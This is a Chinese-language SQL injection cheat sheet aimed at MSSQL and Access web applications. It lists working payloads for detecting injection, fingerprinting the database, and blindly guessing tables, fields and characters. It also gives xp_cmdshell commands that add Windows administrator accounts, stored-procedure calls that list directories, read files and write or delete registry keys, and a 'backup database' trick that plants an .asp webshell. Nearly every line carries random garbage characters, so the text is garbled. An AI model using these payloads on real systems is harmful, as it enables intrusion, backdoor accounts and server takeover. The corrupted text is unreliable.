1.判断是否有注入;and 1=1 ;and 1=2 ,| $|kO/
2.初步判断是否是mssql ;and user>0 ---Ks0\V
dw|-=~
3.注入参数是字符'and [查询条件] and ''=' DMy4"2
o
B7NmET4
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ,ivWVsN*]
8#[%?}tK
5.判断数据库系统 gEcnn.(S
CD XB&%Sr
;and (select count(*) from sysobjects)>0 mssql -`<6=[QUO
V2WUM+`uT
;and (select count(*) from msysobjects)>0 access -MVNXAKnZ
^(E"3 c
'XC&BWJ
nPQZI6>
6.猜数据库 ;and (select Count(*) from [数据库名])>0 r*~n`
'[7C~r{%
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 l4R<`b\Jt
k1~nd=p
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 JKEXYE
?yK%]1O
9.(1)猜字段的ascii值(access) p,_6jdz
T%N~oa
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 \@iOnRuHn9
"<g?x`iz
(2)猜字段的ascii值(mssql) -f-O2G=
t-?KKU8
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 uIVTs9\
*!wO:<-
10.测试权限结构(mssql) .3S\Rrv
,_wm,
E@\d<c.
h^.tomg8
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- //`cwnjp
RE(=! 8lGR
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- USHlb#*
_Ex*%Qf.
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Q]2sj:
hi4h0\L!}
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ;r0|_mnf
0|K/=dh5+
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 4EaSg#
.O@q5G
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- !#_h2a
o|p;6
;and 1=(select IS_MEMBER('db_owner'));-- KV)Hywl`
mTI\,x%<OC
$)kBz*C[
#NVF\
11.添加mssql和系统的帐户 =: v><
VDb,$i.Z0
;exec master.dbo.sp_addlogin username;-- 8VAYIxRv
;exec master.dbo.sp_password null,username,password;-- 6B!j(R
6x (L&>F
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- buxI-wv
%O4}i@Fe
;exec master.dbo.xp_cmdshell 'net user username password rhzv^t
_taHf %\4
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- O[5_9W
4
d-#u/{jG)
;exec master.dbo.xp_cmdshell 'net user username password /add';-- #*7/05)
FJwZo}<6E
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- mV!
@oNCK
~T p8>bmSR
f>"!-3
c],frhmyd
12.(1)遍历目录 I!soV0VU]
b[&,%Sm+6
;create table dirs(paths varchar(100), id int) BC$;b>IUA
&ttv4BC^r
;insert dirs exec master.dbo.xp_dirtree 'c:\' ^!v}
7/U<\(V!g
;and (select top 1 paths from dirs)>0 s&QBFyKtJ
&Curvc1fm
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) TJ%]{%F
q|]0on~]
W2W2WyPk
U_
?elz\
(2)遍历目录 ,SE$Rh
/v;)H#;
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- #ejw@bd
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Jv4D^>yj[
:+%h
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 5shu76
33,JUQ2u
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 9,EaN{GM
_w5~/PbWt
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 PhI6dB`
*3etxnQc
ek;&<Z_ ]
BJ.8OU*9]S
13.mssql中的存储过程 h<^:Nn
:(?hLH.W[
xp_regenumvalues 注册表根键, 子键 rO?x/{;ai
==jw3_W
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ,;=( )-
<@AsCiQF
xp_regread 根键,子键,键值名 ,wb|?>Y
fj
t_9-.
;exec xp_regread ^]lwd"$
1N$gE
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ]Re~V{uh
sG1]A:_<C
xp_regwrite 根键,子键, 值名, 值类型, 值 ap$tu3j
YaJ{"'}
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 x 1x j\O
$qUta<o2@
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 \gI:`>-
x
h@m n
GE
xp_regdeletevalue 根键,子键,值名 }fZ=T4r
b-(UsY:
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 :kiO
M6hvi(!X2
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 vb"dX0)<
/4B4IT
N7I71q|
1={Tcq\]
14.mssql的backup创建webshell )Y,?r[4{
{EoyMJgz
use model noUZ9M|hz
,I&0#+}n
create table cmd(str image); 548[!p4
3P^gP32
insert into cmd(str) values (''); =Z>V}`n
-ynLuq#1A
backup database model to disk='c:\l.asp'; ]-5jgz"
2eR+dT
sQw`U{JG
G>ptwB81KM
15.mssql内置函数 e9_O/i N
C8W`Oly:]
;and (select @@version)>0 获得Windows的版本号 AIxBZt7{b
gUszMhHX
;and user_name()='dbo' 判断当前系统的连接用户是不是sa \Af|$9boHz
On.x~t
;and (select user_name())>0 爆当前系统的连接用户 xE-c9AH
GWqY$YT
;and (select db_name())>0 得到当前连接的数据库 dK;\`>8
jme5'FR
3
cW"VrFy9
g\{! 21M
16.简洁的webshell :k )<1ua
eZod}~J8
use model kdMS"iN8x
|o=\9:wV
create table cmd(str image); !>2\OSp!
v{{2<,l
insert into cmd(str) values (''); hYUV9k:
~B*\k^t`
backup database model to disk='g:\wwwtest\l.asp';